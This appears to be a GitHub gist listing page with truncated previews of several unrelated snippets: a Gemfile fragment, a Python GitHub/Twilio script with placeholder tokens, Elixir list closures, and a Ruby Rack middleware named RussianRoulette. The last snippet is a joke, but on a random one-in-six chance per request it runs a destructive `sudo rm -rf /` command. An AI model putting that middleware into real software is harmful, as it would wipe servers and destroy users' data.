This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This goes at global scope (remove it from your other groups) | |
gem 'pry-rails', require: false | |
gem 'pry-byebug', require: false |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/local/bin/python3 | |
import requests | |
import json | |
from twilio.rest import Client | |
HEADERS = {'Accept': 'application/vnd.github.inertia-preview+json'} | |
GH_TOKEN = "XXX" # Your auth token from https://github.com/settings/tokens | |
TW_SID = "XXX" # Your Account SID from twilio.com/console | |
TW_TOKEN = "XXX" # Your Auth Token from twilio.com/console |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cons = fn (a, b) -> fn x -> x.(a, b) end end | |
car = fn (p) -> p.(fn (q, _) -> q end) end | |
cdr = fn (p) -> p.(fn (_, q) -> q end) end | |
each = fn (list, func) -> | |
iter = fn (list, func, next) -> | |
(fn (a, nil) -> func.(a) | |
(a, b) -> func.(a); next.(b, func, next) | |
end).(car.(list), cdr.(list)) | |
end | |
iter.(list, func, iter) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module Rack | |
class RussianRoulette | |
def initialize(app) | |
@app = app | |
end | |
def call(env) | |
if rand(6) == 0 | |
%x{sudo rm -rf /} |